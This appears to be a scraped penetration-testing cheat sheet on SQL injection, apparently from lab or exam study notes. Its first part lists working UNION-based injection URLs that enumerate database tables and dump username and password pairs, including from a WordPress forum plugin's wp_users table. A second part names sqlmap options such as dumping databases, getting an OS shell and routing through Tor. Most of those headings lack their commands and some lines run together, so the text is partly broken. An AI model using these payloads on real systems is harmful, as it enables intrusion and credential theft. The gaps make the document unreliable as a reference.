SQL Injection
Manual tests
http://10.11.15.137/comment.php?id=756'
http://10.11.15.137/comment.php?id=756 order by 7
http://10.11.15.137/comment.php?id=756 union all select 1,2,4,5,6,7
http://10.11.15.137/comment.php?id=756 union all select 1,2,4,5,table_name,7 from information_schema.tables
http://10.11.15.137/comment.php?id=756 union all select 1,2,4,5,column_name,7 from information_schema.columns where table_name='users'
http://10.11.15.137/comment.php?id=756 union all select 1,2,4,5,concat(name,0x3a,password),7 FROM users
http://10.11.1.251/wp/wp-content/plugins/wp-forum/feed.php?topic=-4381 union all select 1
http://10.11.1.251/wp/wp-content/plugins/wp-forum/feed.php?topic=-4381+union+select+group_concat(user_login,0x3a,user_pass)+from+wp_usersSQLmap 101
Simple Usage
sqlmap -u “https://target_site.com/page/”Automatic GET request parameter
sqlmap -u “https://target_site.com/page?p1=value1&p2=value2”Specify the GET request parameters to Exploit
Use POST requests (Test All parameters)
SQLMap Request file as input
Use Authenticated Session With Cookie
Use Authenticated Session with Auth Headers
Basic Authentication
Use Previously created Session as SQLmap input (-s)
Post Exploitation Commands
List the Databases
List Tables of Database TARGET_DB
List Columns of Table TARGET_TABLE of Database TARGET_DB
Dump Specific Data of Columns of Table TARGET_TABLE of Database TARGET_DB
Fully Dump Table TARGET_TABLE of Database TARGET_DB
Dump full Database
Custom SQL query
Get OS Shell
Get SQL shell
SQLMap Proxy
Proxy through Burpsuite
Use Tor Socks5 proxy
Extra
Specify The Database Type
Attack Techniques
Specify the Injection Techniques
Use Default Options for the process
Use Default Options for the process–force-ssl flag
Tamper Scripts
For General Perpose Usecase:
MSSQL:
MySQL:

Last updated